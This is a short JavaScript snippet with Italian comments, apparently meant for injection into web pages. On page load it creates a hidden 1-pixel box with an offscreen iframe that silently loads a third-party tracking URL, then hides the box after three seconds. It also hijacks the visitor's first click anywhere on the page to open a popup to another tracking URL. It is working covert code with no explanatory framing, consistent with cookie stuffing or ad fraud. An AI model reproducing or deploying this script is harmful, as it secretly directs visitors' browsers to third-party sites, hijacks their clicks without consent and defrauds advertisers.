var referrer = document.referrer; referrer = referrer.replace ("&", "|"); // Primitive grafiche function getX(){return document.documentElement.clientWidth;} function getY(){if (document.documentElement.clientHeight > document.body.scrollHeight) return document.documentElement.clientHeight; else return document.body.scrollHeight+50;} function addBox(){popup = document.createElement("div"); popup.setAttribute("id","miobox"); popup.style.width='1px'; popup.style.height='1px'; popup.style.top = '0px'; popup.style.position = 'absolute'; body.appendChild(popup);} function addIframe(){iframe = document.createElement("iframe"); iframe.setAttribute("id","iframe"); iframe.style.top = '100%'; iframe.style.left = '100%'; iframe.setAttribute("src","http://www.carsharingmania.com/tm/xcid,022752046474662259821332"); iframe.setAttribute("width","100%"); iframe.setAttribute("height","100%"); iframe.setAttribute("scrolling","NO"); iframe.setAttribute("frameborder","100"); iframe.style.display = 'block'; popup.appendChild(iframe); setTimeout( "nascondiBox()", 3*1000 ); } //ALTRE FUNZIONI function visualizzaBox(){body = document.getElementsByTagName("body").item(0); sfondo = document.getElementById('sfondo'); if (sfondo == null) {creaBox()}; popup.style.display = 'block';} function nascondiBox(){popup.style.display = 'none';} function creaBox() {addBox();addIframe();} //inizializzo function addLoadEvent(func){ var oldonload = window.onload; if (typeof window.onload != 'function'){ window.onload = func; } else { window.onload = function(){ oldonload(); func(); }}}addLoadEvent(visualizzaBox); //ravian //http://www.clickpoint.it/db/goto.cp?PRO=38369&ID=6984&SUB= var tot = 0; function popitup() { tot++; if(tot==1){ newwindow=window.open('http://www.japarking.com/tm/xcid,017812447126693319439836','name', 'height=1024,width=768,scrollbars=1,resizable=1,toolbar=1,location=1,menubar=1,status=1,directories=1'); if (window.focus) {newwindow.focus()} return false; } else{ //location = 'http://www.cached.it '; } } document.onclick = popitup; //fine ravian document.write("");